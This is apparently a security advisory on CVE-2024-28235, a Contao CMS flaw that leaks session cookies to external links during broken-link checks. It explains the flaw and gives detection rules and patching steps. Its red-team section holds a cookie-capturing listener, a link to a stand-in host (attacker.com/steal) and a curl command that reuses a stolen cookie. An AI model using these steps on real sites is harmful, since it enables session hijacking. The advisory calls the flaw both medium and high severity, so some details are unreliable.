CVE-2024-28235

Executive Summary

CVE-2024-28235 is a medium-severity information disclosure vulnerability in the Contao open-source content management system. The flaw resides in the broken link checker functionality. When Contao is configured to check for broken links on protected pages, it inadvertently forwards the user's session cookie (and other HTTP client options) to external URLs during the link validation process. This allows an attacker who controls an external resource linked from a protected Contao page to capture the session cookie of the Contao administrator or user performing the link check, potentially leading to session hijacking and unauthorized access to the protected Contao backend.

The vulnerability affects Contao versions from 4.9.0 up to (but not including) 4.13.40, and versions from 5.0.0 up to (but not including) 5.3.4. The CVSS score is 8.4 (High), with a vector emphasizing network-based, low-complexity attacks that require no privileges or user interaction, and which result in high confidentiality impact. No public proof-of-concept exploit code or Nuclei template is currently available, and the EPSS score is 0.0%, indicating a very low probability of exploitation in the wild at this time. However, the vulnerability is straightforward to understand and could be weaponized by an attacker who can host a malicious endpoint.

Supply Chain & Package Security

Contao is a PHP-based CMS distributed via Composer (Packagist). The vulnerability is in the core application code, not in a third-party library. However, the risk is amplified if the CMS is deployed with default configurations and the broken link checker is enabled on protected pages. Administrators should verify their composer.json and ensure they are running a patched version. No malicious packages have been identified in the supply chain related to this CVE.

CVSS Breakdown & Threat Level

CVSS Score: 8.4 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

• Attack Vector (AV): Network – The attacker only needs network access to the target Contao instance.
• Attack Complexity (AC): Low – No special conditions or race conditions are required.
• Privileges Required (PR): None – The attacker does not need to be authenticated.
• User Interaction (UI): None – The victim does not need to click a link or perform any action beyond the normal link checking process.
• Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High – Session cookies can be exfiltrated, leading to full account takeover.
• Integrity (I): None – The vulnerability does not allow data modification.
• Availability (A): None – The vulnerability does not affect system availability.

Threat Level: High. Although no active exploitation has been observed, the ease of exploitation and the potential for session hijacking make this a serious concern for any Contao instance with the broken link checker enabled on protected pages.

Deep Dive & Mechanics

The vulnerability is located in the Contao link checker service, which is responsible for verifying that links on protected pages are not broken. When a user (typically an administrator) triggers a link check on a protected page, Contao uses an HTTP client to send requests to each external URL found on that page. The flaw is that the HTTP client options, including the cookies option (which contains the user's session cookie), are passed to all requests, including those made to external domains.

Technical Flow:

1. An administrator logs into the Contao backend and navigates to a protected page (e.g., a page that requires authentication to view).
2. The administrator initiates a broken link check on that page.
3. Contao's link checker iterates over all links on the page, including external links (e.g., https://attacker.com/malicious).
4. For each link, the link checker creates an HTTP request using the same HTTP client options that were used for the initial page request. These options include the cookies array containing the administrator's session cookie.
5. The request to the external URL is sent with the Contao session cookie attached.
6. The attacker, who controls the external domain, receives the HTTP request and can extract the session cookie from the Cookie header.
7. The attacker can then use this cookie to impersonate the administrator and gain unauthorized access to the Contao backend.

The core issue is a violation of the principle of least privilege: the HTTP client should not reuse authentication credentials for requests to untrusted external hosts.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

In the vulnerable version, the link checker likely uses a shared HTTP client instance or passes the same options array to all requests.

// Vulnerable: Reuses the same HTTP client options for all requests
$options = [
    'cookies' => $sessionCookies,
    // ... other options
];

foreach ($links as $link) {
    $response = $httpClient->request('GET', $link, $options);
    // Check response status
}

Patched Code (Conceptual):

The patched version ensures that cookies and other sensitive options are only sent to internal or trusted URLs, or that a separate HTTP client without cookies is used for external link checks.

// Patched: Separate options for external links
$internalOptions = [
    'cookies' => $sessionCookies,
    // ... other options
];

$externalOptions = [
    // No cookies, no authentication headers
    'timeout' => 5,
];

foreach ($links as $link) {
    if ($this->isInternalUrl($link)) {
        $response = $httpClient->request('GET', $link, $internalOptions);
    } else {
        $response = $httpClient->request('GET', $link, $externalOptions);
    }
    // Check response status
}

The exact patch can be found in the Contao GitHub repository for versions 4.13.40 and 5.3.4.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A Contao instance running a vulnerable version (>=4.9.0, <4.13.40 or >=5.0.0, <5.3.4).
• The broken link checker must be enabled and used on a protected page.
• An attacker-controlled domain (e.g., attacker.com) that can receive HTTP requests.

Exploitation Steps:

1. Set up a listener: On your attacker-controlled server, start a simple HTTP server that logs all incoming requests, including headers.

   nc -lvnp 80
   

   Or use a Python script:

   from http.server import BaseHTTPRequestHandler, HTTPServer
   
   class Handler(BaseHTTPRequestHandler):
       def do_GET(self):
           print(f"Received request from {self.client_address}")
           print(f"Headers: {self.headers}")
           self.send_response(200)
           self.end_headers()
           self.wfile.write(b'OK')
   
   server = HTTPServer(('0.0.0.0', 80), Handler)
   server.serve_forever()
   

2. Craft a malicious link: On a protected Contao page (one that requires authentication to view), add a link pointing to your attacker domain. For example:

   <a href="http://attacker.com/steal">Click here</a>
   

3. Trigger the link check: As an administrator, navigate to the protected page and initiate the broken link checker (usually via the Contao backend under "System" -> "Maintenance" -> "Check broken links").

4. Capture the cookie: The Contao server will send an HTTP request to http://attacker.com/steal with the administrator's session cookie in the Cookie header. Your listener will capture this cookie.

5. Session hijacking: Use the captured cookie to access the Contao backend:

   curl -b "contao_session=<captured_cookie>" http://target.com/contao
   

No public exploit code is available for this CVE.

Blue Team (Detection & Defense)

Detection:

• Monitor HTTP logs for outbound requests from the Contao server to external domains that contain session cookies in the Cookie header.
• Look for unusual patterns in link checker activity, such as a high volume of requests to a single external domain.
• Use the detection rules provided in the ## Detection Engineering section.

Defense:

• Immediate: Disable the broken link checker on protected pages as a workaround.
• Patch: Upgrade to Contao 4.13.40 or 5.3.4 (or later).
• Network segmentation: Ensure the Contao server cannot make outbound HTTP requests to arbitrary external hosts. Use a proxy or firewall to restrict outbound traffic.
• Web application firewall (WAF): Deploy rules to block outbound requests containing session cookies to untrusted domains.
• Session hardening: Implement additional session security measures, such as binding the session to the user's IP address or using short session timeouts.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests from the Contao server to external domains that include a Cookie header containing a contao_session value.
  • Unusual traffic to domains not normally accessed by the Contao instance.
• File IOCs:
  • Log entries in the Contao system log (var/logs/) showing link checker activity to suspicious external URLs.
• Behavioral IOCs:
  • Unexpected administrator logins from IP addresses not associated with legitimate administrators.
  • Changes to Contao configuration or content made outside of normal business hours.

Detection Engineering

YARA Rule

rule CVE_2024_28235_Contao_Cookie_Leak {
    meta:
        description = "Detects Contao session cookie leakage in HTTP requests to external URLs"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-28235"
        hash = "unknown"
    strings:
        $cookie_header = /Cookie:\s*contao_session=[a-zA-Z0-9]+/
        $external_url = /https?:\/\/[^\/]+\/[^\/]*/
    condition:
        $cookie_header and $external_url
}

Sigma Rule

title: Contao Session Cookie Leakage via Broken Link Checker
id: 7b8f9a1c-3d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects outbound HTTP requests from Contao that include session cookies, indicating potential exploitation of CVE-2024-28235.
author: Valters IT
date: 2024/01/01
references:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-28235
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'http://'
        cs(Cookie)|contains: 'contao_session'
    condition: selection
falsepositives:
    - Legitimate link checker activity to trusted external domains (if any)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-28235 Contao Session Cookie Leakage";
    flow:to_server,established;
    content:"Cookie|3a|"; http_header;
    content:"contao_session"; http_cookie;
    pcre:"/Cookie:\s*contao_session=[a-zA-Z0-9]+/Pi";
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
    reference:cve,2024-28235;
)

Remediation & Mitigation

Immediate Mitigation:

• Disable the broken link checker on protected pages. This can be done in the Contao backend under "System" -> "Settings" -> "Broken link checker" -> uncheck "Check protected pages".

Patching:

• Upgrade to Contao version 4.13.40 or 5.3.4 (or later). These versions contain the fix that prevents cookie leakage to external URLs.
• For Composer-based installations:

  composer require contao/core-bundle:4.13.40
  # or for Contao 5.x
  composer require contao/core-bundle:5.3.4
  

Long-term Hardening:

• Implement network-level controls to restrict outbound traffic from the Contao server to only trusted domains.
• Regularly review and update Contao to the latest stable version.
• Monitor logs for any signs of exploitation.

Valters IT
DevSecOps & Cyber Threat Intelligence